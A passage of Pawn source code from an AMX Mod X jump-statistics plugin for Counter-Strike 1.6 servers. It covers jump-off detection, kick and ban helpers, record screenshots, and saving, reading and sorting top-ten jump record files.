if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
checkblock1[1]=checkblock1[1]+2.0;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
checkblock1[1]=checkblock1[1]-2.0;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
checkblock1[0]=checkblock1[0]+2.0;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
checkblock1[0]=checkblock1[0]-2.0;
}
checkblock2=checkblock1;
checkblock2[2]=checkblock2[2]+18.0;
new Float:tmpcheckblock[3];
engfunc(EngFunc_TraceLine,checkblock2,checkblock1, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpcheckblock);
if(floatabs(tmpblockOrigin[2]-tmpcheckblock[2])==0.0)
{
block_checking[i]=1;
}
edgedone[id]=true;
}
if(tmpjblock[0]!=0 && tmpjblock[0]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[2])
{
if(!block_checking[0])
jumpblock[id]=tmpjblock[0];
}
else if(tmpjblock[1]!=0 && tmpjblock[1]<=tmpjblock[2] && tmpjblock[0]<=tmpjblock[0])
{
if(!block_checking[1])
jumpblock[id]=tmpjblock[1];
}
else if(tmpjblock[2]!=0 && tmpjblock[2]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[0])
{
if(!block_checking[2])
jumpblock[id]=tmpjblock[2];
}
else jumpblock[id]=0;
if(equali(mapname,"prochallenge_longjump"))
{
jumpblock[id]=jumpblock[id]-1;
}
new h_jof;
if(jofon[id])
{
h_jof=h_speed;
}
else h_jof=4;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(edgedist[i]!=0.0 && (showjofon[i] || jofon[id]))
{
if(edgedist[i]>5.0)
{
set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
}
else
{
set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
}
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_JOF", edgedist[id]);
}
}
}
}
new Float:checkfall;
if(jump_type[id]==Type_Drop_CountJump)
{
checkfall=0.5;
}
else checkfall=0.4;
if(flags&FL_ONGROUND && firstfall_ground[id]==true && get_gametime()-FallTime1[id]>checkfall)
{
touch_ent[id]=false;
JumpReset(id,26);
dropbhop[id]=false;
ddnum[id]=0;
x_jump[id]=false;
firstfall_ground[id]=false;
in_ladder[id]=false;
nextbhop[id]=false;
bhopaem[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
backwards[id]=false;
ladderbug[id]=false;
find_ladder[id]=false;
touch_somthing[id]=false;
duckbhop[id]=false;
dropupcj[id]=false;
ddstandcj[id]=false;
ddforcjafterbhop[id]=false;
ddforcjafterladder[id]=false;
//if(donehook[id]) ColorChat(id, RED, "reset ground %d %f",jump_type[id],get_gametime()-FallTime1[id]);
return FMRES_IGNORED;
}
if(flags&FL_ONGROUND && firstfall_ground[id]==false)
{
FallTime1[id]=get_gametime();
firstfall_ground[id]=true;
}
else if(!(flags&FL_ONGROUND) && firstfall_ground[id]==true)
{
firstfall_ground[id]=false;
}
if(flags&FL_ONGROUND && donehook[id] && hookcheck[id]==false)
{
timeonground[id]=get_gametime();
hookcheck[id]=true;
}
else if(!(flags&FL_ONGROUND) && donehook[id] && hookcheck[id])
{
timeonground[id]=get_gametime()-timeonground[id];
hookcheck[id]=false;
if(timeonground[id]>0.4)
donehook[id]=false;
}
}
}
}
return FMRES_IGNORED;
}
public kick_function(id,j_type_str[])
{
new szReason[64];
formatex(szReason,63,"%L",LANG_SERVER,"UQSTATS_KICKREASON",j_type_str);
emessage_begin( MSG_ONE, SVC_DISCONNECT, _, id );
ewrite_string( szReason );
emessage_end( );
}
public ban_function(id,j_type_str[])
{
new szReason[64];
formatex(szReason,63,"%s_script",j_type_str);
new ban_authid[64];
switch(uq_ban_authid)
{
case 0:
get_user_name(id,ban_authid,63);
case 1:
get_user_ip(id,ban_authid,63,1);
case 2:
get_user_authid(id,ban_authid,63);
}
switch(uq_ban_type)
{
case 0:
{
switch(uq_ban_authid)
{
case 0:
server_cmd("amx_ban %s %d %s",ban_authid,uq_ban_minutes,szReason);
case 1:
server_cmd("amx_addban %s %d %s",ban_authid,uq_ban_minutes,szReason);
case 2:
server_cmd("amx_addban ^"%s^" %d %s",ban_authid,uq_ban_minutes,szReason);
}
}
case 1:
{
if(uq_ban_authid==2)
server_cmd("amx_ban %d ^"%s^" %s",uq_ban_minutes,ban_authid,szReason);
else if(uq_ban_authid==1 && uq_ban_authid==0)
server_cmd("amx_ban %d %s %s",uq_ban_minutes,ban_authid,szReason);
}
}
}
public ScreenShoot(id)
{
id=id-15237;
client_cmd(id,"snapshot");
}
public HamTouch( id, entity )
{
if ( g_alive[id] )
{
static Float:Vvelocity[3];
pev(id, pev_velocity, Vvelocity);
if(!equali(mapname,"slide_gs_longjumps") && !equali(mapname,"b2j_slide_longjumps"))
{
if(g_Jumped[id] && !(pev(id, pev_flags)&FL_ONGROUND) && floatround(Vvelocity[2], floatround_floor) < 0)
{
touch_somthing[id]=true;
}
}
}
}
public fwdTouch(ent, id)
{
static ClassName[32];
if( pev_valid(ent) )
{
pev(ent, pev_classname, ClassName, 31);
}
static ClassName2[32];
if( valid_id(id) )
{
pev(id, pev_classname, ClassName2, 31);
}
if( equali(ClassName2, "player") )
{
if( equali(ClassName, "func_train")
|| equali(ClassName, "func_conveyor")
|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
{
if(valid_id(id))
{
touch_ent[id]=true;
trigger_protection[id]=true;
JumpReset(id,41);
set_task(0.4,"JumpReset1", id);
}
}
}
}
////////////////////////////////////////Save Tops///////////////////////////////////
public save_tops(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1])
{
new profile[128];
formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
TrieSetCell(JumpStat, "sync", tmp_sync[i]);
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
TrieSetCell(JumpStat, "ddbh", tmp_ddbh[i]);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_ddbh[i]);
}
else formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i]);
fputs(f, Data);
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
TrieSetCell(JData, tmp_type, JumpStat);
}
fclose(f);
}
public save_tops_block(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1])
{
new profile[128];
formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "block", tmp_block[i]);
TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_250", type, i);
TrieSetCell(JData_Block, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i]);
fputs(f, Data);
}
fclose(f);
}
public save_tops_block_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1],tmp_weap_name[NTOP+1][33])
{
new profile[128];
formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "block", tmp_block[i]);
TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData_Block, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^" ^"%s^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i],tmp_weap_name[i]);
fputs(f, Data);
}
fclose(f);
}
public save_tops_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_weap_name[NTOP+1][33])
{
new profile[128];
formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
TrieSetCell(JumpStat, "sync", tmp_sync[i]);
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_weap_name[i]);
fputs(f, Data);
}
fclose(f);
}
public save_maptop()
{
new profile[128];
formatex(profile, 127, "%s/Top10_maptop.dat", ljsDir);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",map_names[i],map_ip[i], map_dist[i],map_maxsped[i],map_prestr[i],map_streif[i],map_syncc[i],map_type[i]);
fputs(f, Data);
}
fclose(f);
}
////////////////////////////////////////Read Tops///////////////////////////////////
public read_tops(type[],type_num)
{
new profile[128],prodata[256];
formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
new tmp_names[33],tmp_ip[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], m[25], p[25], sf[25],s[25];
new duk[25];
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25, duk, 25);
}
else
{
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25);
}
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
TrieSetCell(JumpStat, "strafes", str_to_num(sf));
TrieSetCell(JumpStat, "sync", str_to_num(s));
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
TrieSetCell(JumpStat, "ddbh", str_to_num(duk));
}
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
TrieSetCell(JData, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_block(type[],type_num)
{
new profile[128],prodata[256];
if(type_num==6)
{
formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block);
}
else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
new tmp_names[33],tmp_ip[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], b[25], j[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, b, 25, d, 25, j, 25);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "block", str_to_num(b));
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
new tmp_type[33];
if(type_num==6)
{
format(tmp_type, 32, "block_hj_%d_250", i);
}
else format(tmp_type, 32, "block_%s_%d_250", type, i);
TrieSetCell(JData_Block, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_block_weapon(type[],type_num,wpn_rank)
{
new profile[128],prodata[256];
if(type_num==9)
{
formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block_weapon[wpn_rank]);
}
else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], b[25], j[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, b, 25, d, 25, j, 25,tmp_weap_name,32);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "block", str_to_num(b));
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData_Block, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_weapon(type[],type_num,wpn_rank)
{
new profile[128],prodata[256];
formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
new f = fopen(profile, "rt" );
new i = 0;
new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], m[25], p[25], sf[25],s[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25,tmp_weap_name,32);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
TrieSetCell(JumpStat, "strafes", str_to_num(sf));
TrieSetCell(JumpStat, "sync", str_to_num(s));
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData, tmp_type, JumpStat);
i++;
}
fclose(f);
}
////////////////////////////////////////Sort Tops///////////////////////////////////
public checktops1(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s)
{
new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
}
//server_print("%s",tmp_ip[i]);
}
for (new i = 0; i < NTOP; i++)
{
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos], rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
new tmp_ddbh[NTOP+1];
save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops2(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,duk)
{
new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
TrieGetCell(JS, "ddbh", tmp_ddbh[i]);
}
}
for (new i = 0; i < NTOP; i++)
{
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos], rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
tmp_ddbh[j] = tmp_ddbh[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
tmp_ddbh[i] = duk;
save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_block(id,type[],type_num,Float:dd,Float:jj,bb)
{
new d,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_250", type, i);
if(TrieKeyExists(JData_Block, tmp_type))
{
TrieGetCell(JData_Block, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "block", tmp_block[i]);
TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
}
}
new tmp_dist;
for (new j = 0; j < NTOP; j++)
{
if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
{
tmp_dist=tmp_distance[j];
break;
}
else tmp_dist=0;
}
for (new i = 0; i < NTOP; i++)
{
if( bb >= tmp_block[i] && d>tmp_dist)
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_block[j] = tmp_block[j-1];
tmp_jumpoff[j] = tmp_jumpoff[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_block[i] = bb;
tmp_jumpoff[i] = jj;
new oldBlock,start_array;
oldBlock=tmp_block[0];
start_array=0;
for (new ii = 0; ii < NTOP; ii++)
{
if(tmp_block[ii]!=oldBlock)
{
new bool:check=true;
while(check)
{
check=false;
for(new jjj=start_array;jjj<ii-1;jjj++)
{
if(tmp_distance[jjj]<tmp_distance[jjj+1])
{
new buf1;
buf1=tmp_distance[jjj];
tmp_distance[jjj]=tmp_distance[jjj+1];
tmp_distance[jjj+1]=buf1;
new Float:buf2;
buf2=tmp_jumpoff[jjj];
tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
tmp_jumpoff[jjj+1]=buf2;
new buf3[33];
formatex(buf3,32,tmp_names[jjj]);
formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
formatex(tmp_names[jjj+1],32,buf3);
formatex(buf3,32,tmp_ip[jjj]);
formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
formatex(tmp_ip[jjj+1],32,buf3);
check=true;
}
}
}
start_array=ii;
}
oldBlock=tmp_block[ii];
}
save_tops_block(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff);
for (new j = 0; j < NTOP; j++)
{
if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
{
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP2",prefix,g_playername[id],(j+1),type,bb);
}
}
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_block_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:jj,bb,wpn_name[])
{
new d,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
if(TrieKeyExists(JData_Block, tmp_type))
{
TrieGetCell(JData_Block, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "block", tmp_block[i]);
TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
}
}
new tmp_dist;
for (new j = 0; j < NTOP; j++)
{
if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
{
tmp_dist=tmp_distance[j];
break;
}
else tmp_dist=0;
}
for (new i = 0; i < NTOP; i++)
{
if( bb >= tmp_block[i] && d>tmp_dist)
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_block[j] = tmp_block[j-1];
tmp_jumpoff[j] = tmp_jumpoff[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
formatex(tmp_weap_name[i], 32, wpn_name);
tmp_distance[i]=d;
tmp_block[i] = bb;
tmp_jumpoff[i] = jj;
new oldBlock,start_array;
oldBlock=tmp_block[0];
start_array=0;
for (new ii = 0; ii < NTOP; ii++)
{
if(tmp_block[ii]!=oldBlock)
{
new bool:check=true;
while(check)
{
check=false;
for(new jjj=start_array;jjj<ii-1;jjj++)
{
if(tmp_distance[jjj]<tmp_distance[jjj+1])
{
new buf1;
buf1=tmp_distance[jjj];
tmp_distance[jjj]=tmp_distance[jjj+1];
tmp_distance[jjj+1]=buf1;
new Float:buf2;
buf2=tmp_jumpoff[jjj];
tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
tmp_jumpoff[jjj+1]=buf2;
new buf3[33];
formatex(buf3,32,tmp_names[jjj]);
formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
formatex(tmp_names[jjj+1],32,buf3);
formatex(buf3,32,tmp_ip[jjj]);
formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
formatex(tmp_ip[jjj+1],32,buf3);
formatex(buf3,32,tmp_weap_name[jjj]);
formatex(tmp_weap_name[jjj],32,tmp_weap_name[jjj+1]);
formatex(tmp_weap_name[jjj+1],32,buf3);
check=true;
}
}
}
start_array=ii;
}
oldBlock=tmp_block[ii];
}
save_tops_block_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff,tmp_weap_name);
for (new j = 0; j < NTOP; j++)
{
if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
{
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP3",prefix,g_playername[id],(j+1),type,pev_max_speed,bb);
}
}
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
